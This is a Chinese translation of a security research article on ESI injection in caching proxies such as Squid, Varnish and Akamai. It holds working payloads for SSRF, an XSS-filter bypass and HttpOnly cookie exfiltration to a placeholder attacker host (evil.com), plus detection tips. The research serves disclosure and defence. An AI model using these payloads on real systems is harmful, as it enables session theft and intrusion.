滥用缓存服务器导致服务端请求伪造(SSRF)和客户端攻击
Edge Side Includes (ESI) 是一种标记语言,主要在常见的HTTP代理(反向代理、负载均衡、缓存服务器、代理服务器)中使用。通过ESI注入技术可以导致服务端请求伪造(SSRF),绕过HTTPOnly cookie的跨站脚本攻击(XSS)以及服务端拒绝服务攻击。
通过测试,我们有发现几十种支持处理ESI的产品:Varnish,Squid Proxy,IBM WebSphere,Oracle Fusion / WebLogic,Akamai,Fastly,F5,Node.js ESI,LiteSpeed和一些特定语言插件,但并不是这些产品默认启用了ESI,在文章的下面会进一步讨论。
Edge Side Includes (ESI)是什么?
ESI语言是基于XML标签的的标记语言,通过缓存大量的web内容缓解服务器性能压力,主要被用于流行的HTTP 代理解决方案中。ESI标签用于指示反向代理(缓存服务器)获取已经缓存好的模板的网页的更多信息。在客户端处理的这些信息很可能来自另一台服务器。
ESI技术一个常见的用例是处理包含动态内容的静态页面。通过使用ESI标签允许开发者替换页面中的动态部分增加缓存的灵活性。因此,当页面被请求时,ESI标签被代理处理并获取,从而确保后端应用服务器的性能。
下面这个图展示了ESI技术应用的一个典型示例,天气网站是缓存城市天气页面的内容。然后,其中的动态数据将根据各自的ESI标签替换,指向API端的URL。
ESI的语法相当简单。前面说到的例子中的HTML文件看起来像这样:
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
最初的ESI规范可以追溯到2001年,每个供应商的实现也是不一样的。当然每个产品的功能也是不同的,其中某些产品缺失了一些功能,但在其他的产品上可以找到。如果你对最初的ESI规范感兴趣的话,可以访问这个链接 http://www.w3.org/TR/esi-lang 。它主要描述了标记语言的用法和常见的功能,包括Akamai和Oracle在内的多家供应商还在规范之外增加了其他功能。
问题出在哪里?
HTTP代理无法区分ESI标签是来自上游服务器的合法标签还是HTTP响应包中恶意注入的。也就是说,如果攻击者可以成功地注入在HTTP响应包中注入ESI标签,那么代理就是解析处理它们,认为这些ESI标签是来自上游服务器的合法标签。
ESI解析器在处理ESI标签的时候,处在<
和>
之间的字符不会被编码和转义。通常,Web应用服务器会转义一些用户可控的特殊字符以缓解XSS攻击。虽然可以有效的阻止通过代理解析后的返回的ESI标签。但有时候ESI标签可以注入到非HTML的HTTP响应中。现在ESI的新的功能允许开发人员将动态内容添加到其他的缓存和静态数据源,比如JSON对象和CSV。关于ESI+JSON对象的这种处理方式,更详细的教程可以访问 https://www.fastly.com/blog/using-esi-part-1-simple-edge-side-include 。
大多数场景下,攻击的媒介是后端服务器返回的ESI标签,然后通过负载均衡或者启用ESI的代理进行处理。显然,如果用户的输入时经过处理的,可以有效缓解XSS攻击,ESI标签会被编码不再会被代理处理解析。
ESI注入带来哪些危害?
服务端请求伪造(SSRF)
ESI标签中最常用和有用的就是includes
标记了。ESI中的include
标签可以在代理或者负载均衡处理解析的时候通过HTTP请求获取动态内容。如果攻击者可以在HTTP响应包中添加ESI的include
标签,那么就可以在代理服务器(不是应用服务器端)造成SSRF攻击。
如下的代码可以在HTTP代理上执行SSRF:
<esi:include src="http://evil.com/ping/" />
如果可以得到HTTP的回调,那么这个代理服务器就存在ESI注入。如下,ESI的实现方式不同,造成的影响也不一样,如果支持ESI的代理服务器不允许包含非白名单的主机,意味着你只能对当前这台代理服务器执行SSRF。下图是攻击者通过ESI注入执行SSRF攻击的示例图表。
- 攻击者利用代理服务器执行ESI payload,试图让后端服务器将其返回在响应中
- 代理服务器接收请求并将其转发给适当的后端服务器
- 应用程序服务器在响应中返回ESI的payload,并将该响应发送给代理服务器
- 代理服务器收到响应,解析检查是否存在任何ESI标签。代理服务器解析返回的ESI标签并执行对evil.com的请求。
- 代理服务器接收来自evil.com的请求,并将其添加到来自后端服务器的初始响应中
- 代理服务器将完整的响应发送回客户端
绕过客户端的XSS过滤器
客户端XSS过滤器通常通过将请求的输入与其响应进行比较来工作。当部分GET参数在HTTP响应中出现时,浏览器将启动一系列安全措施以确定是否存在潜在的XSS payload 。
但是,Chrome的XSS保护不知道ESI标签,因为ESI标签不在客户端进行处理。通过执行一些ESI特性,可以将一部分XSS payload分配给ESI引擎中的变量,然后将其执行返回。在ESI引擎完全发送响应数据给浏览器之前,ESI引擎将在服务器端构建出恶意JavaScript payload 。这将绕过XSS过滤器,因为发送到服务器的输入不会按原样返回给浏览器,绕过了我们上面提到的检测机制。下面分析一个简单的payload:
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
在服务端的ESI变量中<esi:assign>
可以存储任何的值,可以通过$(variable_name)
的方式获取该变量的值,在这个例子中,var1存储的是cript
,这个标签完整打印出来是一个有效的html标签<script>
,那么上面的例子返回的内容便是:
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
也有一些ESI的实现不支持ESI变量,因此无法通过这种方式利用。当include可用时,可以将它们指向外部域,可以简单地包含一个有XSS payload的外部页面。以下示例描述了利用ESI include的从SSRF到XSS攻击。
poc.html
<script>alert(1)</script>
然后,注入ESI标签,include 外部的XSS 页面
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
通过SSRF的方式获取到poc.html页面的内容,然后将payload 添加到返回页面的dom中,造成XSS攻击。
绕过HTTPOnly Cookie
按照设计,HTTP代理(如代理和负载均衡器)可以访问完整的HTTP请求和响应。这包括浏览器或服务器发送的所有cookie。ESI规范的一个有用功能是能够访问ESI标签内传输的cookie。这允许开发人员在ESI引擎中使用cookie,通过利用cookie给予开发人员更大的灵活性。
正是这个有用的功能提供一个重要的攻击媒介:cookie外带(cookie exfiltration)通过JavaScript引擎对cookie进行窃取的一个已知策略是使用HTTPOnly。它在创建Cookie时指定,将拒绝JavaScript引擎访问cookie及其值的能力,从而防止XSS攻击窃取cookie。由于ESI是在服务器端进行处理的,因此可以在从上游服务器到代理的过程中使用这些cookie。一个攻击媒介将使用ESI include通过其URL来外带cookie。想象一下ESI引擎正在处理以下payload:
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
这时我们在evil.com主机的HTTP访问日志中就可以看到:
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
这样,HTTPOnly cookies可以在没有Javascript的情况下被窃取。
不同产品实现的差异
如前所述,不同供应商之间ESI实现的差异很大。功能集从一个产品到另一个产品是不同的,有些功能不以相同的方式实现。我们测试了一些产品,根据可用于ESI软件的攻击方式的不同制作了下表。
Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Yes | Yes | Yes | Yes | No |
Varnish Cache | Yes | No | No | Yes | Yes |
Fastly | Yes | No | No | No | Yes |
Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
NodeJS’ esi | Yes | Yes | Yes | No | No |
NodeJS’ nodesi | Yes | No | No | No | Optional |
表格的每一列说明:
Includes
<esi:includes>
是否在ESI引擎中实现
Vars
<esi:vars>
是否在ESI引擎中实现
Cookie
cookies是否可以在ESI引擎中访问
Upstream Headers Required
ESI功能是否需要上游服务器的header。除非header由上游应用服务器提供,否则代理不会处理ESI语句。
Host Whitelist
ESI include的内容是否仅适用于白名单的服务器主机。如果是的话,ESI不能include白名单之外的主机,无法执行SSRF。
如何检测ESI?
一些产品会在Surrogate-Control HTTP header中加入ESI处理的标志,方便识别。这个header被用于向上游服务器表明ESI标签可能出现在返回的响应内容中。如果看到如下所示的HTTP标头响应:Surrogate-Control: content="ESI/1.0”
可能启用了ESI的基础架构。
但是,大多数代理和负载均衡在将其发送到客户端之前将从上游服务器移除header。一些代理也不需要任何Surrogate-Control header。因此,这不是确定ESI使用的明确方式。鉴于ESI实施中功能选择范围广泛,不能执行特有的测试来测试ESI注入。必须测试各种有效payload并观察响应才能正确识别ESI可注入点。例如,ESI includes可以用来对攻击者控制的服务器执行SSRF,但是某些实现会要求主机在白名单中。
结论
今天,我们通过滥用开源和专有缓存服务中存在的ESI功能,演示了以前未公开的攻击媒介。我们解释了利用所需的条件和三个示例payload:Cookie泄露,SSRF和绕过客户端XSS过滤器。然后,详细介绍了一些不同产品的实现,使应用程序安全社区了解ESI的应用是如何分布的。我们希望这项研究能够作为一种灵感来进一步记录其他缓存产品的情况,并且为bug hunters提供一个新的攻击媒介思路。
注:根据实际情况,译者并未一字一句全部翻译。如有错误,欢迎指出。